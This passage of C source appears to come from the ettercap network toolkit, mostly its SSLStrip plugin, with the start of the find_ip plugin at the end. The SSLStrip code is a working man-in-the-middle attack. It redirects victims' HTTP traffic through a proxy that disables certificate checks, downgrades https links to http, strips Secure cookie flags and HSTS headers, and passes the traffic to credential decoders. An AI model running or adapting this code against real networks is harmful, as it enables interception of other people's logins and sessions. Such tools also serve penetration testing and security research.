(offset: %d), %s\n", erroroffset, error); ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4, NULL, NULL, 80, bind_port); #ifdef WITH_IPV6 ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6, NULL, NULL, 80, bind_port); #endif return PLUGIN_FINISHED; } err = regcomp(&find_cookie_re, COOKIE_PATTERN, REG_EXTENDED | REG_NEWLINE | REG_ICASE); if (err) { regerror(err, &find_cookie_re, errbuf, sizeof(errbuf)); USER_MSG("SSLStrip: plugin load failed: Could not compile find_cookie regex: %s (%d)\n", errbuf, err); pcre_free(https_url_pcre); ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV4, NULL, NULL, 80, bind_port); #ifdef WITH_IPV6 ec_redirect(EC_REDIR_ACTION_REMOVE, "http" , EC_REDIR_PROTO_IPV6, NULL, NULL, 80, bind_port); #endif return PLUGIN_FINISHED; } hook_add(HOOK_HANDLED, &sslstrip); /* start HTTP accept thread */ ec_thread_new_detached("http_accept_thread", "HTTP Accept thread", &http_accept_thread, NULL, 1); USER_MSG("SSLStrip Plugin version 1.2 is still under experimental mode. Please reports any issues to the development team.\n"); return PLUGIN_RUNNING; } static int sslstrip_fini(void *dummy) { /* variable not used */ (void) dummy; DEBUG_MSG("SSLStrip: Removing redirect\n"); if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV4, NULL, NULL, 80, bind_port) != E_SUCCESS) { USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so " "manually.\n"); } #ifdef WITH_IPV6 if (ec_redirect(EC_REDIR_ACTION_REMOVE, "http", EC_REDIR_PROTO_IPV6, NULL, NULL, 80, bind_port) != E_SUCCESS) { USER_MSG("SSLStrip: Unable to remove HTTP redirect, please do so " "manually.\n"); } #endif // Free regexes. if (https_url_pcre) pcre_free(https_url_pcre); regfree(&find_cookie_re); /* stop accept wrapper */ pthread_t pid = ec_thread_getpid("http_accept_thread"); if (!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); /* now destroy all http_child_thread */ do { pid = ec_thread_getpid("http_child_thread"); if(!pthread_equal(pid, EC_PTHREAD_NULL)) ec_thread_destroy(pid); } while (!pthread_equal(pid, EC_PTHREAD_NULL)); close(main_fd); #ifdef WITH_IPV6 close(main_fd6); #endif /* Remove hook point */ hook_del(HOOK_HANDLED, &sslstrip); return PLUGIN_FINISHED; } static int sslstrip_is_http(struct packet_object *po) { /* if already coming from SSLStrip or proto is not TCP */ if (po->flags & PO_FROMSSLSTRIP || po->L4.proto != NL_TYPE_TCP) return 0; if (ntohs(po->L4.dst) == 80 || ntohs(po->L4.src) == 80) return 1; if (strstr((const char*)po->DATA.data, "HTTP/1.1") || strstr((const char*)po->DATA.data, "HTTP/1.0")) return 1; return 0; } #ifndef OS_LINUX static int sslstrip_match(void *id_sess, void *id_curr) { struct http_ident *ids = id_sess; struct http_ident *id = id_curr; /* sanity checks */ BUG_IF(ids == NULL); BUG_IF(id == NULL); /* check magic */ if (ids->magic != id->magic) return 0; if (ids->L4_src == id->L4_src && ids->L4_dst == id->L4_dst && !ip_addr_cmp(&ids->L3_src, &id->L3_src)) return 1; return 0; } static void sslstrip_create_session(struct ec_session **s, struct packet_object *po) { void *ident; DEBUG_MSG("sslstrip_create_session"); /* allocate the session */ SAFE_CALLOC(*s, 1, sizeof(struct ec_session)); /* create the ident */ (*s)->ident_len = http_create_ident(&ident, po); /* link to the session */ (*s)->ident = ident; /* the matching function */ (*s)->match = sslstrip_match; /* alloc of data elements */ SAFE_CALLOC((*s)->data, 1, sizeof(struct ip_addr)); } #endif /* * Filter HTTP related packets and create NAT sessions */ static void sslstrip(struct packet_object *po) { if (!sslstrip_is_http(po)) return; /* If it's an HTTP packet, don't forward it */ po->flags |= PO_DROPPED; if ( (po->flags & PO_FORWARDABLE) && (po->L4.flags & TH_SYN) && !(po->L4.flags & TH_ACK) ) { #ifndef OS_LINUX struct ec_session *s = NULL; sslstrip_create_session(&s, PACKET); memcpy(s->data, &po->L3.dst, sizeof(struct ip_addr)); session_put(s); #endif } else { po->flags |= PO_IGNORE; } } /* Unescape the string */ static void Decode_Url(u_char *src) { u_char t[3]; u_int32 i, j, ch; /* Paranoid test */ if (!src) return; /* NULL terminate for the strtoul */ t[2] = 0; for (i=0, j=0; src[i] != 0; i++, j++) { ch = (u_int32)src[i]; if (ch == '%' && isxdigit((u_int32)src[i + 1]) && isxdigit((u_int32)src[i + 2])) { memcpy(t, src+i+1, 2); ch = strtoul((char *)t, NULL, 16); i += 2; } src[j] = (u_char)ch; } src[j] = 0; } /* Gets the URL from the request */ static void Find_Url(u_char *to_parse, char **ret) { u_char *fromhere, *page=NULL, *host=NULL; u_int32 len; char *tok; if (!strncmp((char *)to_parse, "GET ", 4)) to_parse += strlen("GET "); else if (!strncmp((char *)to_parse, "POST ", 5)) to_parse += strlen("POST "); else return; /* Get the page from the request */ page = (u_char *)strdup((char *)to_parse); if(page == NULL) { USER_MSG("SSLStrip: Find_Url: page is NULL\n"); return; } ec_strtok((char *)page, " HTTP", &tok); /* If the path is relative, search for the Host */ if ((*page=='/') && (fromhere = (u_char *)strstr((char *)to_parse, "Host: "))) { host = (u_char *)strdup( (char *)fromhere + strlen("Host: ") ); if(host == NULL) { USER_MSG("SSLStrip: Find_Url: host is NULL\n"); return; } ec_strtok((char *)host, "\r", &tok); } else { host = (u_char*)strdup(""); if(host == NULL) { USER_MSG("SSLStrip: Find_Url: relative path, but host is NULL\n"); return; } } len = strlen((char *)page) + strlen((char *)host) + 2; SAFE_CALLOC(*ret, len, sizeof(char)); snprintf(*ret, len, "%s%s", host, page); SAFE_FREE(page); SAFE_FREE(host); Decode_Url((u_char *)*ret); } static EC_THREAD_FUNC(http_accept_thread) { struct http_connection *connection; struct sockaddr_storage client_ss; u_int len = sizeof(client_ss); int optval = 1, fd = 0, nfds = 1; socklen_t optlen = sizeof(optval); struct sockaddr *sa; struct sockaddr_in *sa4; #ifdef WITH_IPV6 struct sockaddr_in6 *sa6; #endif /* variable not used */ (void) EC_THREAD_PARAM; ec_thread_init(); DEBUG_MSG("SSLStrip: http_accept_thread initialized and ready"); poll_fd[0].fd = main_fd; poll_fd[0].events = POLLIN; #ifdef WITH_IPV6 poll_fd[1].fd = main_fd6; poll_fd[1].events = POLLIN; nfds++; #endif LOOP { /* wait until one file descriptor becomes active */ poll(poll_fd, nfds, -1); /* check which file descriptor became active */ if (poll_fd[0].revents & POLLIN) fd = poll_fd[0].fd; #ifdef WITH_IPV6 else if (poll_fd[1].revents & POLLIN) fd = poll_fd[1].fd; #endif else continue; /* accept incoming connection */ SAFE_CALLOC(connection, 1, sizeof(struct http_connection)); BUG_IF(connection==NULL); SAFE_CALLOC(connection->request, 1, sizeof(struct http_request)); BUG_IF(connection->request==NULL); SAFE_CALLOC(connection->response, 1, sizeof(struct http_response)); BUG_IF(connection->response==NULL); connection->fd = accept(fd, (struct sockaddr *)&client_ss, &len); DEBUG_MSG("SSLStrip: Received connection: %p %p\n", connection, connection->request); if (connection->fd == -1) { DEBUG_MSG("SSLStrip: Failed to accept connection: %s.", strerror(errno)); SAFE_FREE(connection->request); SAFE_FREE(connection->response); SAFE_FREE(connection); continue; } sa = (struct sockaddr *)&client_ss; switch (sa->sa_family) { case AF_INET: sa4 = (struct sockaddr_in *)&client_ss; ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); connection->port[HTTP_CLIENT] = sa4->sin_port; break; #ifdef WITH_IPV6 case AF_INET6: sa6 = (struct sockaddr_in6 *)&client_ss; ip_addr_init(&(connection->ip[HTTP_CLIENT]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); connection->port[HTTP_CLIENT] = sa6->sin6_port; break; #endif } connection->port[HTTP_SERVER] = htons(80); //connection->request->len = 0; /* set SO_KEEPALIVE */ if (setsockopt(connection->fd, SOL_SOCKET, SO_KEEPALIVE, &optval, optlen) < 0) { DEBUG_MSG("SSLStrip: Could not set up SO_KEEPALIVE"); } /* create detached thread */ ec_thread_new_detached("http_child_thread", "http child", &http_child_thread, connection, 1); } return NULL; } static int http_get_peer(struct http_connection *connection) { #ifndef OS_LINUX struct ec_session *s = NULL; struct packet_object po; void *ident= NULL; int i; memcpy(&po.L3.src, &connection->ip[HTTP_CLIENT], sizeof(struct ip_addr)); po.L4.src = connection->port[HTTP_CLIENT]; po.L4.dst = connection->port[HTTP_SERVER]; http_create_ident(&ident, &po); /* Wait for sniffing thread */ for (i=0; iip[HTTP_SERVER], s->data, sizeof(struct ip_addr)); SAFE_FREE(s->data); SAFE_FREE(s); SAFE_FREE(ident); #else struct sockaddr_storage ss; struct sockaddr_in *sa4; #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST struct sockaddr_in6 *sa6; #endif socklen_t ss_len = sizeof(struct sockaddr_storage); switch (ntohs(connection->ip[HTTP_CLIENT].addr_type)) { case AF_INET: if (getsockopt (connection->fd, SOL_IP, SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) { WARN_MSG("getsockopt failed: %s", strerror(errno)); return -E_INVALID; } sa4 = (struct sockaddr_in *)&ss; ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET, (u_char *)&(sa4->sin_addr.s_addr)); break; #if defined WITH_IPV6 && defined HAVE_IP6T_SO_ORIGINAL_DST case AF_INET6: if (getsockopt (connection->fd, IPPROTO_IPV6, IP6T_SO_ORIGINAL_DST, (struct sockaddr*)&ss, &ss_len) == -1) { WARN_MSG("getsockopt failed: %s", strerror(errno)); return -E_INVALID; } sa6 = (struct sockaddr_in6 *)&ss; ip_addr_init(&(connection->ip[HTTP_SERVER]), AF_INET6, (u_char *)&(sa6->sin6_addr.s6_addr)); break; #endif } #endif return E_SUCCESS; } #ifndef OS_LINUX static size_t http_create_ident(void **i, struct packet_object *po) { struct http_ident *ident; SAFE_CALLOC(ident, 1, sizeof(struct http_ident)); ident->magic = HTTP_MAGIC; memcpy(&ident->L3_src, &po->L3.src, sizeof(struct ip_addr)); ident->L4_src = po->L4.src; ident->L4_dst = po->L4.dst; /* return the ident */ *i = ident; return sizeof(struct http_ident); } #endif static int http_sync_conn(struct http_connection *connection) { if (http_get_peer(connection) != E_SUCCESS) return -E_INVALID; set_blocking(connection->fd, 0); return E_SUCCESS; } static int http_read(struct http_connection *connection, struct packet_object *po) { int len = 0, ret = -E_INVALID; int loops = HTTP_RETRY; do { len = read(connection->fd, po->DATA.data, HTTP_MAX); if(len <= 0) { /* in non-blocking mode we have to evaluate the socket error */ int err = 0; err = GET_SOCK_ERRNO(); if (err == EINTR || err == EAGAIN) { /* data not yet arrived, wait a bit and keep trying */ ec_usleep(MILLI2MICRO(HTTP_WAIT)); } else /* something went wrong */ break; } else { /* we got data - break up */ ret = E_SUCCESS; break; } } while (--loops > 0); po->DATA.len = len; /* either we got data or something went wrong or timed out */ return ret; } static void http_handle_request(struct http_connection *connection, struct packet_object *po) { struct https_link *link; SAFE_CALLOC(connection->request->url, 1, 512); if (connection->request->url==NULL) return; Find_Url(po->DATA.data, &connection->request->url); if (connection->request->url == NULL) { return; } //parse HTTP request if (!memcmp(po->DATA.data, "GET", 3)) { connection->request->method = HTTP_GET; } else if (!memcmp(po->DATA.data, "POST", 4)) { connection->request->method = HTTP_POST; } char *r = (char*)po->DATA.data; //Skip the first line of request if ((r = strstr((const char*)po->DATA.data, "\r\n")) == NULL) return; // This doesn't seem to look as a HTTP header r += 2; //Skip \r\n char *h = strdup(r); char *body = strdup(r); BUG_IF(h==NULL); BUG_IF(body==NULL); char *end_header = strstr(h, "\r\n\r\n"); if (!end_header) { SAFE_FREE(h); SAFE_FREE(body); return; //Something went really wrong here } *end_header = '\0'; char *header; char *saveptr; header = ec_strtok(h, "\r\n", &saveptr); while(header) { connection->request->headers = curl_slist_append(connection->request->headers, header); header = ec_strtok(NULL, "\r\n", &saveptr); } SAFE_FREE(h); char *b = strstr(body, "\r\n\r\n"); if (b != NULL) { b += 4; connection->request->payload = strdup(b); BUG_IF(connection->request->payload == NULL); } SAFE_FREE(body); int proto = PROTO_HTTP; LIST_LOCK; LIST_FOREACH(link, &https_links, next) { if (!strcmp(link->url, connection->request->url)) { proto = PROTO_HTTPS; break; } } LIST_UNLOCK; switch(proto) { case PROTO_HTTP: DEBUG_MSG("SSLStrip: Sending HTTP request"); break; case PROTO_HTTPS: DEBUG_MSG("SSLStrip: Sending HTTPs request"); break; } http_send(connection,po, proto); } static void http_send(struct http_connection *connection, struct packet_object *po, int proto) { curl_global_init(CURL_GLOBAL_ALL); connection->handle = curl_easy_init(); if(!connection->handle) { DEBUG_MSG("SSLStrip: Not enough memory to allocate CURL handle"); return; } char *url; //Allow decoders to run for request if (proto == PROTO_HTTPS) { curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(connection->handle, CURLOPT_SSL_VERIFYHOST, 0L); SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("https://")+1); snprintf(url, strlen(connection->request->url)+strlen("https://")+1, "https://%s", connection->request->url); } else { SAFE_CALLOC(url, 1, strlen(connection->request->url)+strlen("http://")+1); snprintf(url, strlen(connection->request->url)+strlen("http://")+1, "http://%s", connection->request->url); } if (url==NULL) { DEBUG_MSG("Not enough memory to allocate for URL %s\n", connection->request->url); return; } curl_easy_setopt(connection->handle, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1); curl_easy_setopt(connection->handle, CURLOPT_URL, url); curl_easy_setopt(connection->handle, CURLOPT_WRITEFUNCTION, http_receive_from_server); curl_easy_setopt(connection->handle, CURLOPT_WRITEDATA, connection); curl_easy_setopt(connection->handle, CURLOPT_ERRORBUFFER, connection->curl_err_buffer); curl_easy_setopt(connection->handle, CURLOPT_HEADER, 1L); curl_easy_setopt(connection->handle, CURLOPT_HTTPHEADER, connection->request->headers); curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "gzip"); curl_easy_setopt(connection->handle, CURLOPT_ACCEPT_ENCODING, "deflate"); curl_easy_setopt(connection->handle, CURLOPT_COOKIEFILE, ""); //Initialize cookie engine /* Only allow HTTP and HTTPS */ curl_easy_setopt(connection->handle, CURLOPT_PROTOCOLS, (long) CURLPROTO_HTTP | (long)CURLPROTO_HTTPS); curl_easy_setopt(connection->handle, CURLOPT_REDIR_PROTOCOLS, (long) CURLPROTO_HTTP | (long) CURLPROTO_HTTPS); if(connection->request->method == HTTP_POST) { curl_easy_setopt(connection->handle, CURLOPT_POST, 1L); curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDS, connection->request->payload); curl_easy_setopt(connection->handle, CURLOPT_POSTFIELDSIZE, strlen(connection->request->payload)); } if(curl_easy_perform(connection->handle) != CURLE_OK) { DEBUG_MSG("Unable to send request to HTTP server: %s\n", connection->curl_err_buffer); return; } else { DEBUG_MSG("SSLStrip: Sent request to server"); } DEBUG_MSG("Before removing https: %s", connection->response->html); DEBUG_MSG("SSLStrip: Removing HTTPS"); http_remove_https(connection); http_remove_secure_from_cookie(connection); if(strstr(connection->response->html, "\r\nContent-Encoding:") || strstr(connection->response->html, "\r\nTransfer-Encoding:")) { http_remove_header("Content-Encoding", connection); http_remove_header("Transfer-Encoding", connection); } if(strstr(connection->response->html, "\r\nStrict-Transport-Security:")) { http_remove_header("Strict-Transport-Security", connection); } /* adjust content length header value */ http_update_content_length(connection); DEBUG_MSG("SSLStrip: after removing all %s", connection->response->html); //Send result back to client DEBUG_MSG("SSLStrip: Sending response back to client"); if (http_write(connection->fd, connection->response->html, connection->response->len) != E_SUCCESS){ DEBUG_MSG("Unable to send HTTP response back to client\n"); } else { DEBUG_MSG("Sent HTTP response back to client"); } //Allow decoders to run on HTTP response http_initialize_po(po, (u_char*)connection->response->html, connection->response->len); packet_destroy_object(po); po->len = po->DATA.len; po->L4.flags |= TH_PSH; packet_disp_data(po, po->DATA.data, po->DATA.len); DEBUG_MSG("SSLStrip: Calling parser for response"); http_parse_packet(connection, HTTP_SERVER, po); //Free up request if (connection->request->headers) { curl_slist_free_all(connection->request->headers); connection->request->headers = NULL; } if (connection->request->method == HTTP_POST) { SAFE_FREE(connection->request->payload); } SAFE_FREE(connection->request->url); SAFE_FREE(url); if(connection->handle) { curl_easy_cleanup(connection->handle); curl_global_cleanup(); connection->handle = NULL; } DEBUG_MSG("SSLStrip: Done"); } static int http_write(int fd, char *ptr, unsigned long int total_len) { int len, err; unsigned int bytes_sent = 0; int bytes_remaining = total_len; DEBUG_MSG("SSLStrip: Total length %lu", total_len); while (bytes_sent < total_len) { if(!ptr) break; len = write(fd, ptr+bytes_sent, bytes_remaining); if (len <= 0) { err = GET_SOCK_ERRNO(); DEBUG_MSG("http_write: SOCK ERR: %d", err); if (err != EAGAIN && err != EINTR) return -E_INVALID; } DEBUG_MSG("SSLStrip: Sent %d bytes", len); bytes_sent += len; bytes_remaining -= len; DEBUG_MSG("SSLStrip: Bytes sent %d", bytes_sent); ec_usleep(MILLI2MICRO(100)); // 100ms } return E_SUCCESS; } #if 0 static size_t http_write_to_server(void *ptr, size_t size, size_t nmemb, void *stream) { struct packet_object *po = (struct packet_object *)stream; DEBUG_MSG("SSLStrip: PO LEN : %ld Size: %ld", po->DATA.len, (size*nmemb)); DEBUG_MSG("SSLStrip: Copying %s", po->DATA.data); if ((size*nmemb) < po->DATA.len) { memcpy(ptr, po->DATA.data, size*nmemb); return size*nmemb; } else { memcpy(ptr, po->DATA.data, po->DATA.len); return po->DATA.len; } } #endif static u_int http_receive_from_server(char *ptr, size_t size, size_t nmemb, void *userdata) { struct http_connection *connection = (struct http_connection *)userdata; if (connection->response->len == 0) { //Initiailize buffer SAFE_CALLOC(connection->response->html, 1, size*nmemb); if (connection->response->html == NULL) return 0; memcpy(connection->response->html, ptr, size*nmemb); } else { char *b; SAFE_CALLOC(b, 1, connection->response->len+(size*nmemb)); BUG_IF(b == NULL); memcpy(b, connection->response->html, connection->response->len); memcpy(b+connection->response->len, ptr, size*nmemb); SAFE_FREE(connection->response->html); connection->response->html = b; //SAFE_REALLOC(connection->response->html, connection->response->len + (size*nmemb)); } connection->response->len += (size*nmemb); //connection->response->html[connection->response->len] = '\0'; return size*nmemb; } EC_THREAD_FUNC(http_child_thread) { struct packet_object po; int ret_val; struct http_connection *connection; connection = (struct http_connection *)args; ec_thread_init(); /* Get peer and set to non-blocking */ if (http_sync_conn(connection) == -E_INVALID) { DEBUG_MSG("SSLStrip: Could not get peer!!"); if (connection->fd != -1) close_socket(connection->fd); SAFE_FREE(connection->response); SAFE_FREE(connection->request); SAFE_FREE(connection); ec_thread_exit(); } /* A fake SYN ACK for profiles */ http_initialize_po(&po, NULL, 0); po.len = 64; po.L4.flags = (TH_SYN | TH_ACK); packet_disp_data(&po, po.DATA.data, po.DATA.len); http_parse_packet(connection, HTTP_SERVER, &po); http_initialize_po(&po, po.DATA.data, po.DATA.len); LOOP { http_initialize_po(&po, NULL, 0); ret_val = http_read(connection, &po); DEBUG_MSG("SSLStrip: Returned %d", ret_val); BREAK_ON_ERROR(ret_val, connection, po); if (ret_val == E_SUCCESS) { /* Look in the https_links list and if the url matches, send to HTTPS server. Otherwise send to HTTP server */ po.len = po.DATA.len; po.L4.flags |= TH_PSH; /* NULL terminate buffer */ po.DATA.data[po.DATA.len] = 0; packet_destroy_object(&po); packet_disp_data(&po, po.DATA.data, po.DATA.len); //DEBUG_MSG("SSLStrip: Calling parser for request"); http_parse_packet(connection, HTTP_CLIENT, &po); http_handle_request(connection, &po); } } return NULL; } static void http_remove_https(struct http_connection *connection) { char *buf_cpy = connection->response->html; size_t https_len = strlen("https://"); size_t http_len = strlen("http://"); struct https_link *l, *link; size_t offset = 0; int rc; int ovector[30]; char changed = 0; char *new_html, *url; size_t new_size = 0; size_t size = connection->response->len; int url_len, match_start, match_end = 0; if(!buf_cpy) return; SAFE_CALLOC(new_html, 1, connection->response->len); BUG_IF(new_html==NULL); while(offset < size && (rc = pcre_exec(https_url_pcre, NULL, buf_cpy, size, offset, 0, ovector, 30)) > 0) { match_start = ovector[0]; match_end = ovector[1]; /* copy 1:1 up to match */ memcpy(new_html + new_size, buf_cpy + offset, match_start - offset); new_size += match_start - offset; /* extract URL w/o https:// */ url_len = match_end - match_start - https_len; url = strndup(buf_cpy + match_start + https_len, url_len); if(url == NULL) { USER_MSG("SSLStrip: http_remove_https: url is NULL\n"); return; } /* copy "http://" */ memcpy(new_html + new_size, "http://", http_len); new_size += http_len; /* append URL */ memcpy(new_html + new_size, url, url_len); new_size += url_len; /* set new offset for next round */ offset = match_end; //Add URL to list char found = 0; LIST_LOCK; LIST_FOREACH(link, &https_links, next) { if(!strcmp(link->url, url)) { found=1; break; } } LIST_UNLOCK; if(!found) { SAFE_CALLOC(l, 1, sizeof(struct https_link)); BUG_IF(l==NULL); SAFE_CALLOC(l->url, 1, 1 + url_len); BUG_IF(l->url==NULL); memcpy(l->url, url, url_len); Decode_Url((u_char *)l->url); l->last_used = time(NULL); DEBUG_MSG("SSLStrip: Inserting %s to HTTPS List", l->url); LIST_INSERT_HEAD(&https_links, l, next); } SAFE_FREE(url); if (!changed) changed=1; } if (changed) { //Copy rest of data (if any) memcpy(new_html + new_size, buf_cpy + offset, size - offset); new_size += size - offset; /* replace response */ SAFE_FREE(connection->response->html); connection->response->html = new_html; connection->response->len = new_size; } else { /* Thanks but we don't need it */ SAFE_FREE(new_html); } /* Iterate through all http_request and remove any that have not been used lately */ struct https_link *link_tmp; time_t now = time(NULL); LIST_LOCK; LIST_FOREACH_SAFE(l, &https_links, next, link_tmp) { if(now - l->last_used >= REQUEST_TIMEOUT) { LIST_REMOVE(l, next); SAFE_FREE(l); } } LIST_UNLOCK; } static void http_parse_packet(struct http_connection *connection, int direction, struct packet_object *po) { FUNC_DECODER_PTR(start_decoder); int len; memcpy(&po->L3.src, &connection->ip[direction], sizeof(struct ip_addr)); memcpy(&po->L3.dst, &connection->ip[!direction], sizeof(struct ip_addr)); po->L4.src = connection->port[direction]; po->L4.dst = connection->port[!direction]; po->flags |= PO_FROMSSLSTRIP; /* get time */ gettimeofday(&po->ts, NULL); switch(ip_addr_is_local(&PACKET->L3.src, NULL)) { case E_SUCCESS: PACKET->PASSIVE.flags &= ~(FP_HOST_NONLOCAL); PACKET->PASSIVE.flags |= FP_HOST_LOCAL; break; case -E_NOTFOUND: PACKET->PASSIVE.flags &= ~FP_HOST_LOCAL; PACKET->PASSIVE.flags |= FP_HOST_NONLOCAL; break; case -E_INVALID: PACKET->PASSIVE.flags = FP_UNKNOWN; break; } /* let's start fromt he last stage of decoder chain */ //DEBUG_MSG("SSLStrip: Parsing %s", po->DATA.data); start_decoder = get_decoder(APP_LAYER, PL_DEFAULT); start_decoder(po->DATA.data, po->DATA.len, &len, po); } static void http_initialize_po(struct packet_object *po, u_char *p_data, size_t len) { /* * Allocate the data buffer and initialize * fake headers. Headers len is set to 0. * XXX - Be sure to not modify these len. */ memset(po, 0, sizeof(struct packet_object)); if (p_data == NULL) { SAFE_FREE(po->DATA.data); SAFE_CALLOC(po->DATA.data, 1, HTTP_MAX); po->DATA.len = HTTP_MAX; BUG_IF(po->DATA.data==NULL); } else { SAFE_FREE(po->DATA.data); po->DATA.data = p_data; po->DATA.len = len; } po->L2.header = po->DATA.data; po->L3.header = po->DATA.data; po->L3.options = po->DATA.data; po->L4.header = po->DATA.data; po->L4.options = po->DATA.data; po->fwd_packet = po->DATA.data; po->packet = po->DATA.data; po->L3.proto = htons(LL_TYPE_IP); po->L3.ttl = 64; po->L4.proto = NL_TYPE_TCP; } /* main HTTP listen thread, this will accept connections * destined to port 80 */ static int http_bind_wrapper(void) { bind_port = EC_MAGIC_16; struct sockaddr_in sa_in; #ifdef WITH_IPV6 struct sockaddr_in6 sa_in6; int optval = 1; #endif ec_thread_init(); DEBUG_MSG("http_listen_thread: initialized and ready"); main_fd = socket(AF_INET, SOCK_STREAM, 0); if (main_fd == -1) { /* oops, unable to create socket */ DEBUG_MSG("Unable to create socket() for HTTP..."); return -E_FATAL; } memset(&sa_in, 0, sizeof(sa_in)); sa_in.sin_family = AF_INET; sa_in.sin_addr.s_addr = INADDR_ANY; do { bind_port++; sa_in.sin_port = htons(bind_port); } while (bind(main_fd, (struct sockaddr *)&sa_in, sizeof(sa_in)) != 0); if(listen(main_fd, 100) == -1) { DEBUG_MSG("SSLStrip plugin: unable to listen() on socket"); return -E_FATAL; } #ifdef WITH_IPV6 /* create & bind IPv6 socket on the same port */ main_fd6 = socket(AF_INET6, SOCK_STREAM, 0); if (main_fd6 == -1) { /* unable to create socket */ DEBUG_MSG("SSLStrip: Unable to create socket() for HTTP over IPv6: %s.", strerror(errno)); return -E_FATAL; } memset(&sa_in6, 0, sizeof(sa_in6)); sa_in6.sin6_family = AF_INET6; sa_in6.sin6_addr = in6addr_any; sa_in6.sin6_port = htons(bind_port); /* we only listen on v6 as we use dedicated sockets per AF */ if (setsockopt(main_fd6, IPPROTO_IPV6, IPV6_V6ONLY, &optval, sizeof(optval)) == -1) { DEBUG_MSG("SSLStrip: Unable to set IPv6 socket to IPv6 only: %s.", strerror(errno)); return -E_FATAL; } /* bind to IPv6 on the same port as the IPv4 socket */ if (bind(main_fd6, (struct sockaddr *)&sa_in6, sizeof(sa_in6)) == -1) { DEBUG_MSG("SSLStrip: Unable to bind() IPv6 socket to port %d: %s.", bind_port, strerror(errno)); return -E_FATAL; } /* finally set socket into listen state */ if (listen(main_fd6, 100) == -1) { DEBUG_MSG("SSLStrip: Unable to listen() on IPv6 socket: %s.", strerror(errno)); return -E_FATAL; } #else /* properly init fd even when not used - necessary for select call */ main_fd6 = 0; #endif USER_MSG("SSLStrip plugin: bind 80 on %d\n", bind_port); if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV4, NULL, NULL, 80, bind_port) != E_SUCCESS) return -E_FATAL; #ifdef WITH_IPV6 if (ec_redirect(EC_REDIR_ACTION_INSERT, "http", EC_REDIR_PROTO_IPV6, NULL, NULL, 80, bind_port) != E_SUCCESS) return -E_FATAL; #endif return E_SUCCESS; } static void http_wipe_connection(struct http_connection *connection) { DEBUG_MSG("SSLStrip: http_wipe_connection"); close_socket(connection->fd); SAFE_FREE(connection->response->html); SAFE_FREE(connection->request->payload); SAFE_FREE(connection->request->url); SAFE_FREE(connection->request); SAFE_FREE(connection->response); SAFE_FREE(connection); } void http_remove_header(char *header, struct http_connection *connection) { DEBUG_MSG("SSLStrip: http_remove_header"); if (strstr(connection->response->html, header)) { char *r = strdup(connection->response->html); size_t len = strlen(connection->response->html); if(r == NULL) { USER_MSG("SSLStrip: http_remove_header: r is NULL\n"); return; } char *b = strstr(r, header); char *end = strstr(b, "\r\n"); end += 2; int header_length = end - b; len -= header_length; int start = b - r; char *remaining = strdup(end); BUG_IF(remaining==NULL); memcpy(r+start, remaining, strlen(remaining)); SAFE_FREE(connection->response->html); connection->response->html = strndup(r, len); if(connection->response->html == NULL) { USER_MSG("SSLStrip: http_remove_header: connection->response->html is NULL\n"); return; } connection->response->len = len; SAFE_FREE(remaining); SAFE_FREE(r); } } void http_remove_secure_from_cookie(struct http_connection *connection) { if (!strstr(connection->response->html, "Set-Cookie")) { return; } size_t newlen = 0; size_t pos = 0; char *buf_cpy = connection->response->html; char *new_html; SAFE_CALLOC(new_html, 1, connection->response->len); char changed = 0; regmatch_t match[4]; while(!regexec(&find_cookie_re, buf_cpy, 4, match, REG_NOTBOL)) { memcpy(new_html+newlen, buf_cpy, match[1].rm_eo); newlen += match[1].rm_eo; memcpy(new_html+newlen, buf_cpy+match[3].rm_so, match[3].rm_eo - match[3].rm_so); newlen += match[3].rm_eo - match[3].rm_so; buf_cpy += match[0].rm_eo-2; pos += match[0].rm_eo-2; changed=1; } if (changed) { memcpy(new_html+newlen, buf_cpy, connection->response->len - pos); newlen += connection->response->len - pos; SAFE_FREE(connection->response->html); connection->response->html = new_html; connection->response->len = newlen; } else { SAFE_FREE(new_html); } } void http_update_content_length(struct http_connection *connection) { if (strstr(connection->response->html, "Content-Length: ")) { char *buf = connection->response->html; char *content_length = strstr(connection->response->html, "Content-Length:"); content_length += strlen("Content-Length: "); char c_length[20]; memset(&c_length, '\0', 20); snprintf(c_length, 20, "%lu", connection->response->len - (strstr(buf, "\r\n\r\n") + 4 - buf)); memcpy(buf+(content_length-buf), c_length, strlen(c_length)); } } // vim:ts=3:expandtab ettercap-0.8.3/plug-ins/find_ip/0000755000175000017500000000000013505247364016342 5ustar koeppeakoeppeaettercap-0.8.3/plug-ins/find_ip/find_ip.c0000644000175000017500000001051113505247364020114 0ustar koeppeakoeppea/* find_ip -- ettercap plugin -- Search an unused IP address in the subnet Copyright (C) ALoR & NaGA This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program; if not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #include /* required for global variables */ #include /* required for plugin ops */ /* protos */ int plugin_load(void *); static int find_ip_init(void *); static int find_ip_fini(void *); static int in_list(struct ip_addr *scanip); static struct ip_addr *search_netmask(void); static struct ip_addr *search_targets(void); /* plugin operations */ struct plugin_ops find_ip_ops = { /* ettercap version MUST be the global EC_VERSION */ .ettercap_version = 